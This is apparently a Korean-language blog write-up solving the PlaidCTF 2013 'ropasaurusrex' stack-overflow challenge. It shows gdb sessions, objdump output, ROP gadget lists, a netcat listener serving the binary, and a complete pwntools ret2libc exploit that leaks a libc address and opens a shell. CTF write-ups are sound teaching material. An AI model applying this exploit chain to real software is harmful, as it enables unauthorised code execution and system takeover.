.text:080483FD C7 44 24 08 00 01 00 00                       mov     dword ptr [esp+8], 100h ; nbytes
.text:08048405 8D 85 78 FF FF FF                             lea     eax, [ebp+buf]
.text:0804840B 89 44 24 04                                   mov     [esp+4], eax    ; buf
.text:0804840F C7 04 24 00 00 00 00                          mov     dword ptr [esp], 0 ; fd
.text:08048416 E8 11 FF FF FF                                call    _read
.text:0804841B C9                                            leave
.text:0804841C C3                                            retn
.text:0804841C                               sub_80483F4     endp

[psuedo]

ssize_t sub_80483F4()
{
  char buf; // [esp+10h] [ebp-88h]@1

  return read(0, &buf, 0x100u);
}

 

3. command

[babyhack@localhost pcf2013]$ (python -c 'print "a"*138';cat) | ./vul
WIN

세그멘테이션 오류 (core dumped)
[babyhack@localhost pcf2013]$ (python -c 'print "a"*139';cat) | ./vul
WIN

세그멘테이션 오류 (core dumped)
[babyhack@localhost pcf2013]$ (python -c 'print "a"*140';cat) | ./vul

세그멘테이션 오류 (core dumped)
[babyhack@localhost pcf2013]$

 

4. 파일 속성 확인

 

http://www.trapkit.de/tools/checksec.html

 

babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ ../../checksec.sh --file vul
RELRO           STACK CANARY      NX               PIE             RPATH        RUNPATH        FILE
No RELRO      No canary found     NX enabled    No PIE        No RPATH   No RUNPATH   vul
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$  

 

NX(No Excutable)가 활성화 되어 있습니다.

 

NX란 메모리 보호 기법 중 하나로, 메모리 페이지의 권한을 write권한과 execute권한을 동시에 갖지 않도록 설정하는 것이다. 예를 들어 지역변수에 입력을 받을 때 overflow가 발생하는 바이너리가 있다고 하자. 만약 NX가 활성화되어있지 않다면 지역변수 메모리에 쉘코드를 넣고 ret addr를 쉘코드를 가리키게 하여 쉘코드를 실행시키는 것이 가능하다. 하지만 NX가 활성화되어있다면 메모리에 execute 권한이 없으므로 쉘코드를 실행시킬 수 없다.

 

 

5. gdb 활용한 분석

disas main 하였을 때 아래와 같이 나올 경우 

(gdb) disas main
No symbol table is loaded.  Use the "file" command. 

 

다음과 같이 file 정보를 확인 하고 .text 섹션을 분석합니다.

[babyhack@localhost pcf2013]$ gdb -q vul
Reading symbols from vul...(no debugging symbols found)...done.
(gdb) info file
Symbols from "/tmp/pwnable/pcf2013/vul".
Local exec file:
 `/tmp/pwnable/pcf2013/vul', file type elf32-i386.
 Entry point: 0x8048340
 0x08048114 - 0x08048127 is .interp
 0x08048128 - 0x08048148 is .note.ABI-tag
 0x08048148 - 0x0804816c is .note.gnu.build-id
 0x0804816c - 0x08048198 is .hash
 0x08048198 - 0x080481b8 is .gnu.hash
 0x080481b8 - 0x08048218 is .dynsym
 0x08048218 - 0x08048268 is .dynstr
 0x08048268 - 0x08048274 is .gnu.version
 0x08048274 - 0x08048294 is .gnu.version_r
 0x08048294 - 0x0804829c is .rel.dyn
 0x0804829c - 0x080482bc is .rel.plt
 0x080482bc - 0x080482ec is .init
 0x080482ec - 0x0804833c is .plt
 0x08048340 - 0x080484ec is .text
 0x080484ec - 0x08048508 is .fini
 0x08048508 - 0x08048515 is .rodata
 ..........................................

 

(gdb) disas 0x08048340, 0x080484ec
Dump of assembler code from 0x8048340 to 0x80484ec:
   0x08048340: xor    %ebp,%ebp
   0x08048342: pop    %esi
   0x08048343: mov    %esp,%ecx
   0x08048345: and    $0xfffffff0,%esp
   0x08048348: push   %eax
   0x08048349: push   %esp
   0x0804834a: push   %edx
   0x0804834b: push   $0x8048450
   0x08048350: push   $0x8048460
   0x08048355: push   %ecx
   0x08048356: push   %esi
   0x08048357: push   $0x804841d   <-- main 시작 주소
   0x0804835c: call   0x804831c <
__libc_start_main@plt>
..........................

 

(gdb) disas 0x0804841d, 0x0806841d
Dump of assembler code from 0x804841d to 0x806841d:
   0x0804841d: push   %ebp
   0x0804841e: mov    %esp,%ebp
   0x08048420: and    $0xfffffff0,%esp
   0x08048423: sub    $0x10,%esp
   0x08048426: call   0x80483f4
   0x0804842b: movl   $0x4,0x8(%esp)
   0x08048433: movl   $0x8048510,0x4(%esp)    <- "WIN" 문자열 있는 주소
   0x0804843b: movl   $0x1,(%esp)
   0x08048442: call   0x804830c <write@plt>
   0x08048447: leave 
   0x08048448: ret   
   0x08048449: nop
   0x0804844a: nop

.......................

(gdb) x/s 0x08048510
0x8048510: "WIN\n"
(gdb)

 

main 코드를 찾았습니다. ida를 통하여 확인한 내용과 동일 함을 알 수 있습니다.

 

(gdb) disas 0x80483f4, 0x80583f4
Dump of assembler code from 0x80483f4 to 0x80583f4:
   0x080483f4: push   %ebp
   0x080483f5: mov    %esp,%ebp
   0x080483f7: sub    $0x98,%esp                <-- REP 위치 크기
   0x080483fd: movl   $0x100,0x8(%esp)
   0x08048405: lea    -0x88(%ebp),%eax     <-- stack 크기
   0x0804840b: mov    %eax,0x4(%esp)
   0x0804840f: movl   $0x0,(%esp)
   0x08048416: call   0x804832c <read@plt>
   0x0804841b: leave 
   0x0804841c: ret   
 .................

 

메모리 구조

[buff - 0x88(136 byte)] + [ebp - 0x04(4 byte)] + [eip - 0x4(4 byte)]

 

5. Register 확인

 

(gdb) info reg
eax            0xbffff040 -1073745856
ecx            0xbf612fd7 -1084149801
edx            0xbffff114 -1073745644
ebx            0x0 0
esp            0xbffff030 0xbffff030
ebp            0xbffff0c8 0xbffff0c8
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x804840b 0x804840b
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51 

 

 

[bof 검증 진행]

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaccccdddd

 

a * [136] -- stack

c * [4] -- ebp

d * [4] -- eip

 

0x64646464 in ?? ()
(gdb) info reg
eax            0x95 149
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff0d0 0xbffff0d0
ebp            0x63636363 0x63636363
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x64646464 0x64646464
eflags         0x10203 [ CF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

 

(gdb) b *0x0804841b
Breakpoint 1 at 0x804841b
(gdb) r
Starting program: /tmp/pwnable/pcf2013/vul
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.22-3.fc23.i686
aaaaaaaaaaa

Breakpoint 1, 0x0804841b in ?? ()
(gdb) info reg
eax            0xc 12
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff030 0xbffff030
ebp            0xbffff0c8 0xbffff0c8
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x804841b 0x804841b
eflags         0x203 [ CF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/80wx $esp
0xbffff030: 0x00000000 0xbffff040 0x00000100 0x00000001
0xbffff040: 0x61616161 0x61616161 0x0a616161 0xb7fff8f8

              --------------

                 buff 시작
0xbffff050: 0x00000000 0x00000009 0x000000c2 0x02c0003f
0xbffff060: 0x00000000 0x00f0b0ff 0xbffff09a 0x00000000
0xbffff070: 0xb7ffefc4 0xb7fff8f8 0xbffff01d 0x08048246

                                           ----------- --------------

                                                esp         eip
0xbffff080: 0xb7fd93d0 0xbffff124 0x00000001 0xb7eef277
0xbffff090: 0xffffffff 0x0000002f 0xb7e03ce4 0xb7fd93d0
0xbffff0a0: 0x00008000 0x08049604 0xbffff0b8 0x080482e8
0xbffff0b0: 0x00000001 0x08049604 0xbffff0e8 0x08048479
0xbffff0c0: 0x00000001 0xb7fc0000 0xbffff0e8 0x0804842b
0xbffff0d0: 0xb7fc03dc 0xb7fff8f8 0x0804846b 0x00000000
0xbffff0e0: 0x00000001 0xb7fc0000 0x00000000 0xb7e0f545
0xbffff0f0: 0x00000001 0xbffff184 0xbffff18c 0x00000000
0xbffff100: 0x00000000 0x00000000 0xb7fc0000 0xb7fffbe4
0xbffff110: 0x08048218 0x00000000 0x00000001 0xb7fc0000
0xbffff120: 0x00000000 0xccb09826 0xf2bb7236 0x00000000
0xbffff130: 0x00000000 0x00000000 0x00000001 0x08048340
0xbffff140: 0x00000000 0xb7ff2910 0xb7fec920 0xb7ffefc4
0xbffff150: 0x00000001 0x08048340 0x00000000 0x08048361
0xbffff160: 0x0804841d 0x00000001 0xbffff184 0x08048460
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/pwnable/pcf2013/vul
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x0804841b in ?? ()
(gdb) x/80wx $esp
0xbffff030: 0x00000000 0xbffff040 0x00000100 0x00000001
0xbffff040: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff050: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff060: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff070: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff080: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff090: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0a0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0b0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0c0: 0x61616161 0xb7fc000a 0xbffff0e8 0x0804842b
                                              ----------- --------------

                                                  ebp         ret

0xbffff0d0: 0xb7fc03dc 0xb7fff8f8 0x0804846b 0x00000000
0xbffff0e0: 0x00000001 0xb7fc0000 0x00000000 0xb7e0f545
0xbffff0f0: 0x00000001 0xbffff184 0xbffff18c 0x00000000
0xbffff100: 0x00000000 0x00000000 0xb7fc0000 0xb7fffbe4
0xbffff110: 0x08048218 0x00000000 0x00000001 0xb7fc0000
0xbffff120: 0x00000000 0x043625c7 0x3a3dcfd7 0x00000000
0xbffff130: 0x00000000 0x00000000 0x00000001 0x08048340
0xbffff140: 0x00000000 0xb7ff2910 0xb7fec920 0xb7ffefc4
0xbffff150: 0x00000001 0x08048340 0x00000000 0x08048361
0xbffff160: 0x0804841d 0x00000001 0xbffff184 0x08048460
(gdb) info reg
eax            0x85 133   <-- 입력한 문자 수
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff030 0xbffff030
ebp            0xbffff0c8 0xbffff0c8
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x804841b 0x804841b
eflags         0x207 [ CF PF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/pwnable/pcf2013/vul
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc

Breakpoint 1, 0x0804841b in ?? ()
(gdb) x/80wx $esp
0xbffff030: 0x00000000 0xbffff040 0x00000100 0x00000001
0xbffff040: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff050: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff060: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff070: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff080: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff090: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0a0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0b0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0c0: 0x61616161 0x62626262 0x63636363 0x0804840a

                                               ------------- -------------

                                                    ebp          ret
0xbffff0d0: 0xb7fc03dc 0xb7fff8f8 0x0804846b 0x00000000
0xbffff0e0: 0x00000001 0xb7fc0000 0x00000000 0xb7e0f545
0xbffff0f0: 0x00000001 0xbffff184 0xbffff18c 0x00000000
0xbffff100: 0x00000000 0x00000000 0xb7fc0000 0xb7fffbe4
0xbffff110: 0x08048218 0x00000000 0x00000001 0xb7fc0000
0xbffff120: 0x00000000 0x1bba14b9 0x25b1fea9 0x00000000
0xbffff130: 0x00000000 0x00000000 0x00000001 0x08048340
0xbffff140: 0x00000000 0xb7ff2910 0xb7fec920 0xb7ffefc4
0xbffff150: 0x00000001 0x08048340 0x00000000 0x08048361
0xbffff160: 0x0804841d 0x00000001 0xbffff184 0x08048460
(gdb) info reg
eax            0x8d 141
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff030 0xbffff030
ebp            0xbffff0c8 0xbffff0c8
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x804841b 0x804841b
eflags         0x203 [ CF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

(gdb) x/s $ebp
0xbffff0c8: "cccc\n\204\004\b\334\003\374\267\370\370\377\267k\204\004\b"

(gdb) b *0x0804842b
Breakpoint 1 at 0x804842b
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/pwnable/pcf2013/vul
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) info reg
eax            0x91 145
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff0d0 0xbffff0d0
ebp            0x63636363 0x63636363
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x41414141 0x41414141
eflags         0x10207 [ CF PF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb)

 

이젠 공격 버퍼를 만들 수 있습니다.

 

[pwntools - install]

 

1. apt-get install python, python-dev, python-pip

2. apt-get url add

   - vi /etc/apt/sources.list

   - "deb http://us.archive.ubuntu.com/ubuntu vivid main universe"

3. apt-get install libcapstone-dev (python2.7-dev 설치시 따로 설치 안해 됨.)

4. pip install pwntools

 

문제 서버로 돌리기

※ nc-openbsd의 경우 -e 기능이 없으므로, traditional 버전을 설치 해야 합니다.

-->> $ sudo apt-get install netcat-traditional

 

--> apt-get install netcat-traditional

$ while true; do nc -vv -l -p 1234 -e ./vul; done
listening on [any] 1234 ... 

 

 

이제 exploit을 만들어 봅시다. overflow 발생한 지점을 확인 하였기 때문에

exploit을 짜면 됩니다. exploit을 짜기 위해서는 우선 구성을 해야 합니다.

 

1. 호출 할 명령어 작성("sh", "cat /etc/passwd", "cat flag", etc)

2. 명령어 실행 시킬 방법 구상 ("system", "exec", "execl", "execv", etc)

 

우리는 우선 명령어를 쓸 메모리를 찾아 봐야합니다.

찾기 위해서는 objdump 명령어를 활용하여 메모리 속성과 크기를 확인 하는 것이 좋습니다.

 

objdump -x vul

vul:     file format elf32-i386
vul
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048340

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x000000e0 memsz 0x000000e0 flags r-x
  INTERP off    0x00000114 vaddr 0x08048114 paddr 0x08048114 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000051c memsz 0x0000051c flags r-x
    LOAD off    0x0000051c vaddr 0x0804951c paddr 0x0804951c align 2**12
         filesz 0x0000010c memsz 0x00000114 flags rw-
 DYNAMIC off    0x00000530 vaddr 0x08049530 paddr 0x08049530 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000128 vaddr 0x08048128 paddr 0x08048128 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-

Dynamic Section:
  NEEDED               libc.so.6
  INIT                 0x080482bc
  FINI                 0x080484ec
  HASH                 0x0804816c
  GNU_HASH             0x08048198
  STRTAB               0x08048218
  SYMTAB               0x080481b8
  STRSZ                0x00000050
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049604
  PLTRELSZ             0x00000020
  PLTREL               0x00000011
  JMPREL               0x0804829c
  REL                  0x08048294
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048274
  VERNEEDNUM           0x00000001
  VERSYM               0x08048268

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048114  08048114  00000114  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048128  08048128  00000128  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048148  08048148  00000148  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .hash         0000002c  0804816c  0804816c  0000016c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .gnu.hash     00000020  08048198  08048198  00000198  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynsym       00000060  080481b8  080481b8  000001b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .dynstr       00000050  08048218  08048218  00000218  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version  0000000c  08048268  08048268  00000268  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .gnu.version_r 00000020  08048274  08048274  00000274  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.dyn      00000008  08048294  08048294  00000294  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .rel.plt      00000020  0804829c  0804829c  0000029c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 11 .init         00000030  080482bc  080482bc  000002bc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt          00000050  080482ec  080482ec  000002ec  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         000001ac  08048340  08048340  00000340  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         0000001c  080484ec  080484ec  000004ec  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       0000000d  08048508  08048508  00000508  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     00000004  08048518  08048518  00000518  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .ctors        00000008  0804951c  0804951c  0000051c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dtors        00000008  08049524  08049524  00000524  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .jcr          00000004  0804952c  0804952c  0000052c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000d0  08049530  08049530  00000530  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  08049600  08049600  00000600  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      0000001c  08049604  08049604  00000604  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000008  08049620  08049620  00000620  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .bss          00000008  08049628  08049628  00000628  2**2
                  ALLOC
 25 .comment      0000001c  00000000  00000000  00000628  2**0
                  CONTENTS, READONLY
SYMBOL TABLE:
no symbols 

 

필요한 섹션만 선택 적으로 보기로 하겠습니다.

우선 data, dynamic, 등 data 섹션을 중심으로 보겠습니다.

그 이유는 data 섹션은 쓰기, 읽기 권한이 있기 때문에 명령어를 저장하는데 효과적이기 때문입니다.

 

babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ objdump -x vul | grep -A1 '\.data'
 23 .data         00000008  08049620  08049620  00000620  2**2
                    CONTENTS,  ALLOC,      LOAD,       DATA
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$  

 

.data 섹션은 8byte로 작은 사이즈를 가지고 있습니다.

사이즈가 어느정도 확보하고 있는 곳을 찾아 해당 섹션에 명령어를 작성하기로 하겠습니다.

그래서 선택한 섹션은 .dynamic 섹션입니다.

 

babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ objdump -x vul | grep -A1 '\.dynamic'
 20 .dynamic      000000d0  08049530  08049530  00000530  2**2
                  CONTENTS, ALLOC, LOAD, DATA
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$  

 

.dynamic 섹션은 0xd0(208byte)를 가지고 있기 때문에 충분히 명령어를 작성할 수 있습니다.

 

이제 명령어를 쓸 수 있는 공간을 확보 하였기 때문에 이제는 호출할 시스템 함수를 찾아 봐야합니다.

코드상에서 문자를 쓰기 위해서는 write(), settext(), etc 등을 활용합니다.

ROP이기 때문에 현재 사용되고 있는 함수의 목록을 추출하여 분석을 진행 해야 합니다.

 

objdump -R vul

vul:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049600 R_386_GLOB_DAT    __gmon_start__
08049610 R_386_JUMP_SLOT   __gmon_start__
08049614 R_386_JUMP_SLOT   write
08049618 R_386_JUMP_SLOT   __libc_start_main
0804961c R_386_JUMP_SLOT   read 

 

objdump -T /lib/i686/cmov/libc.so.6 | grep system
000f5470 g    DF .text 00000042  GLIBC_2.0   svcerr_systemerr
00039450 g    DF .text 0000007d  GLIBC_PRIVATE __libc_system
00039450  w   DF .text 0000007d  GLIBC_2.0   system 

 

이젠 가젯을 찾아야 합니다.

따라서, 가젯을 찾아 주는 프로그램을 구해야 합니다.

rp++ : https://github.com/0vercl0k/rp (※ Linux, windows, iOS 선택적으로 받으세요.)

 ./rp++ -f ./vul -r 4 | grep "pop"
0x080483c1: add al, 0x5B ; pop ebp ; ret  ;  (1 found)
0x080484e6: add al, 0x5B ; pop ebp ; ret  ;  (1 found)
0x080482e6: add byte [eax], al ; pop eax ; pop ebx ; leave  ; ret  ;  (1 found)
0x080484de: add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080483bf: add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080484e4: add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080484b1: fiadd word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080484e3: hlt  ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080483c0: les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (1 found)
0x080484e5: les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (1 found)
0x080484b3: les ebx,  [ebx+ebx*2] ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080483b8: mov byte [0x08049628], 0x00000001 ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x08048451: mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x0804844f: nop  ; push ebp ; mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x080483bd: or byte [ecx], al ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080482e8: pop eax ; pop ebx ; leave  ; ret  ;  (1 found)
0x080483c3: pop ebp ; ret  ;  (1 found)
0x08048453: pop ebp ; ret  ;  (1 found)
0x080484b8: pop ebp ; ret  ;  (1 found)
0x080484e8: pop ebp ; ret  ;  (1 found)
0x080482e9: pop ebx ; leave  ; ret  ;  (1 found)
0x08048505: pop ebx ; leave  ; ret  ;  (1 found)
0x080483c2: pop ebx ; pop ebp ; ret  ;  (1 found)
0x080484e7: pop ebx ; pop ebp ; ret  ;  (1 found)
0x080484b5: pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x08048504: pop ecx ; pop ebx ; leave  ; ret  ;  (1 found)
0x080484b7: pop edi ; pop ebp ; ret  ;  (1 found)
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080484e1: push dword [ebp-0x0C] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x08048450: push ebp ; mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x080484b4: sbb al, 0x5B ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080483ba: sub byte [esi-0x7CFEF7FC], dl ; les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (1 found)

 

 

가젯을 찾지 않고 편하게 사용하기 위해서는 pwn 패키지를 활용하면 됩니다.

사용법은 다음과 같습니다.

 

from pwn import *
from struct import *

binsh = "/bin/sh"
# up= lambda x:struct.unpack("<L",x) # L  unsigned long   integer   4   (3)
# little endian format exchange unsgined long type to binary string
up32 = lambda x:struct.unpack('<L',x)[0]

binary = ELF("vul")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
rop = ROP(binary)

print binary.checksec()

read_plt = binary.plt['read']
read_got = binary.got['read']
write_plt = binary.plt['write']
write_got = binary.got['write']

read_system_offset = libc.symbols['read'] - libc.symbols['system']
dynamic_section = 0x08049530

log.info("read@plt : " + str(hex(read_plt)))
log.info("read@got : " + str(hex(read_got)))
log.info("write@plt : " + str(hex(write_plt)))
log.info("write@got : " + str(hex(write_got)))
log.info("read system offset : " + str(hex(read_system_offset)))
log.info("Dynamic section : " + str(hex(dynamic_section)))

 

rop.read(0,dynamic_section,len(str(binsh)))    # 1
rop.write(1,read_got,len(str(read_got)))         # 2
rop.read(0,read_got,len(str(read_got)))         # 3
rop.raw(read_plt)                                    # 4  system 함수 호출
rop.raw(0xaaaabbbb)                              # 5   dummy
rop.raw(dynamic_section)                         # 6  "/bin/sh" 입력

 

payload = "A"*140 + str(rop)
print payload

 

#r = remote("127.0.0.1", 1234)
r = process('./vul')

 

r.send(payload) # overflow # 0
r.recvn(4,timeout=1)

 

r.send(binsh) # 1 code 실행
read = up32(r.recvn(4,timeout=1)) # 2 code 실행  / read_got 주소를 recv

log.info('read address : [%s]' % str(hex(read)))


system_addr = read - read_system_offset  # 시스템 함수 주소 계산

log.info('system_addr : [%s]' % str(hex(system_addr)))

rop = ROP(binary)
rop.raw(system_addr)

r.send(str(rop)) # 3 code 실행 / system 함수를 write
r.interactive()


'''
[*] Loaded cached gadgets for 'vul' @ 0x8048000
RELRO:         No RELRO
Stack Canary:  No canary found
NX:            NX enabled
PIE:           No PIE
RPATH:         No RPATH
RUNPATH:       No RUNPATH
[*] read@plt : 0x804832c
[*] read@got : 0x804961c
[*] write@plt : 0x804830c
[*] write@got : 0x8049614
[*] read system offset : 0x9e5b0
[*] Dynamic section : 0x8049530
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,\x83\x0\xbf\x83\x0\x00\x00\x00\x000\x95\x0\x07\x00\x00\x00\x0c\x83\x0\xbf\x83\x0\x00\x00\x00\x1c\x96\x0    \x00\x00\x00,\x83\x0\xbf\x83\x0\x00\x00\x00\x00\x1c\x96\x0    \x00\x00\x00,\x83\x0\xbb\xbb\xaa\xaa0\x95\x0
[+] Started program './vul'
[*]
[*] read address : [0xb75f2710]
[*] system_addr : [0xb7554160]
----> 0x0000:       0xb7554160
[*] Switching to interactive mode
''' 

 

반응형

+ Recent posts